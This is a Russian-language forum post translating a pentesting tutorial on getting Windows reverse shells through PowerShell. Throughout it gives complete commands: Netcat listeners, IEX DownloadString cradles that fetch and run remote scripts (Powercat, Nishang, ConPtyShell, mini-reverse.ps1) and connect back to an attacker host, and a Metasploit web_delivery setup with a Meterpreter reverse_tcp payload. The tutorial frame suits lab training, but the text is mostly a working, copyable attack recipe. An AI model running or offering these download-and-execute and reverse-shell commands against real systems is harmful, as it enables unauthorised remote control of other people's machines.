• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья PowerShell для пентестера: реверс-шелл Windows

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Сегодня мы узнаем, как получить реверс-шелл с помощью скриптов Powershell на платформе Windows

Требования:

- Kali Linux
- Windows Machine

Powercat

Powercat - это базовая сетевая утилита для выполнения сетевых коммуникационных операций с низким уровнем привилегий. Powercat - это программа, которая предлагает возможности Netcat для всех текущих версий Microsoft Windows. Она обычно использует собственные компоненты PowerShell версии 2.

Нам нужно перейти на сайт, указанный ниже. Пользователи могут скачать файла, потому что это веб-сайт Github.

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

Давайте перенесем этот файл с помощью Python, мы должны запустить сервер Python.

python -m SimpleHTTPServer 80

1641744258496.png


Пользователи должны запустить прослушиватель Netcat на порту 4444 для получения реверс-шелла с помощью этой команды

nc -vlp 4444.

Итак, теперь нам нужно загрузить нашу машину с Windows и запустить команду PowerShell в командной строке (CMD). Обратите внимание, что IP-адрес должен быть вашим локальным IP-адресом (IP-адресом Kali).

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.3/powercat.ps1');powercat -c 192.168.1.3 -p 4444 -e cmd"

1641744283453.png


Вы получите реверс-шелл в прослушивателе Netcat после выполнения команды, можете использовать команду whoami, чтобы увидеть, получим ли мы правильную оболочку. Она сообщит вам тип учетной записи пользователя, вошедшего в систему.

1641744297028.png


Вызов-PowerShellTcp (Nishang)

Этот сценарий PowerShell можно использовать для реверса или биндинга интерактивной оболочки PowerShell. Чтобы связать сценарий с портом, нам нужно использовать прослушиватель Netcat.

Этот веб-сайт, который упоминается ниже, следует посетить.

Поскольку это веб-сайт Github, вам просто следует скачать файд по ссылке.

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

Через wget скачивается скрипт, теперь надо передать этот файл через python сервер.

python -m SimpleHTTPServer 80

1641744340428.png


Чтобы получить обратное соединение, мы должны сначала запустить прослушиватель Netcat на порту 4444.

nc -vlp 4444

Пользователи должны запустить следующую команду в командной строке компьютера с Windows. Это поможет в выполнении файла PowerShell.

Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali).

powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.1.3/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.3 -Port 4444

1641744364841.png


Один раз запустив скрипт, мы так же получим реверс-шелл в прослушивателе Netcat.

Используйте команду "whoami". Это сообщит вам тип учетной записи пользователя, вошедшего в систему.

1641744373299.png


ConptyShell

ConPtyShell — это интерактивная обратная оболочка сервера Windows. ConPtyShell преобразует вашу оболочку bash в удаленную оболочку PowerShell. CreatePseudoConsole() — это функция ConPtyShell.

Она создает псевдоконсоль и оболочку, к которой псевдоконсоль подключается с вводом/выводом.

Пользователям необходимо перейти на веб-сайт, указанный ниже.

Поскольку это веб-сайт Github, вы должны скачать файл по ссылке.

wget https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1

Пока запускаем ссылку, скрипт скачивается, теперь нам нужно передать этот файл через python sever.

python -m SimpleHTTPServer 80

1641744412679.png


Запустите прослушиватель Netcat на порту 4444 для получения реверс соединения.

stty raw -echo; (stty size; cat) | nc -lvnp 4444

1641744427850.png


Пользователи должны ввести следующую команду в командную строку компьютера с Windows. Это поможет в выполнении файла ConPtyShell.

Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali).

powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.1.3/Invoke-ConPtyShell.ps1'); Invoke-ConPtyShell 192.168.1.3 4444

1641744470609.png


Мы видим, что псевдофункция создана, и мы получаем полностью интерактивную оболочку после использования команды.

1641744460150.png


mini-reverse.ps1

С помощью небольшого скрипта mini-reverse.ps1 мы получим реверс-шелл.

Этот веб-сайт, указанный ниже, необходимо посетить, и, поскольку это веб-сайт Github, и мы должны загрузить нужный насм файд.

wget https://gist.githubusercontent.com/...20c2fe263b8f7696b896c9984fcf/mini-reverse.ps1

1641744492907.png


Мы должны изучить код в скрипте и изменить указанный там IP-адрес на наш локальный IP-адрес (IP-адрес Kali).

Когда вы закончите вносить изменения, сохраните файл и запустите сервер Python.

python -m SimpleHTTPServer 80

1641744508568.png

Чтобы получить реверс соединение, нужно сначала запустить прослушиватель Netcat на порту 4444.

nc -nvlp 4444

Пользователи должны ввести следующую команду в командную строку компьютера с Windows. Это облегчит выполнение мини-реверс файла. Имейте в виду, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali). Команда поможет нам получить обратную оболочку.

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.3/mini-reverse.ps1')

1641744535209.png

Получаем реверс оболочку в прослушивателе Netcat

1641744548306.png


Реверс TCP PowerShell

Теперь просто используйте сценарий PowerShell для связи с удаленным хостом. Вместо конвейеров процессов все оболочки в этой среде используют команду Invoke-Expression. Удаленный хост всегда имеет полный контроль над клиентом.

Нам нужно перейти на сайт, указанный ниже. Это веб-сайт Github, вы должны скачать следующий файл.

wget https://raw.githubusercontent.com/i...rse-tcp/master/src/powershell_reverse_tcp.ps1

1641744572885.png

Когда скрипт будет загружен, просто просмотрите его код и замените указанный там IP-адрес нашим локальным IP-адресом (IP-адресом Kali). После внесения изменений сохраните файл и запустите сервер Python.

python -m SimpleHTTPServer 80

1641744598878.png


После этого запустите прослушиватель Netcat на порту 9000 для получения реверс соединения.

nc -vlp 9000

Мы должны запустить следующую команду в командной строке компьютера с Windows. Это поможет нам запустить реверс файл tcp.ps1. Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali). Команда поможет нам получить реверс оболочку.

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.3/powershell_reverse_tcp.ps1')

1641744621356.png


Как только команда будет выполнена, мы получим реверс оболочку.

1641744631329.png


Веб-деливери

Этот эксплойт использует Metasploit Framework, а целевыми операционными системами являются Windows и Linux.
Эта атака использует пейлоад.

Полезная нагрузка:

Полезные нагрузки — это вредоносные сценарии, которые злоумышленник использует для взаимодействия с целевой машиной для проведения атаки. В Metasploit файлы полезной нагрузки хранятся в модулях.

Исполняемая полезная нагрузка:

Пользователям следует запустить платформу Metasploit и выполнить поиск по запросу "web delivery".
Нам будет предоставлено два варианта полезной нагрузки, и мы должны выбрать тот, который содержит скрипт веб-доставки.

Т.е. это

exploit/multi/script/web delivery

Начните искать цели, используя "show targets,", и вы увидите около 5 целей, которые помогают сгенерировать код, чтобы был создан бэкдор. Затем выберите вторую цель и используйте команду

set target 2

и используйте приведенные ниже команды, чтобы установить полезную нагрузку и lhost, lport, а затем использовать ее.

set payload python/meterpreter/reverse_tcp
set lhost 192.168.1.13
set lport 8888
exploit

1641744674988.png


Код, который мы получаем после запуска скрипта, просто скопируйте скрипт и запустите его на нашей машине с Windows. После завершения выполнения переключите сеанс.

sessions 1

Вы получите оболочку метерпретера и с легкостью получите информацию об этой оболочке с помощью следующей команды.

sysinfo

1641744698106.png


Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/powershell-for-pentester-windows-reverse-shell/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх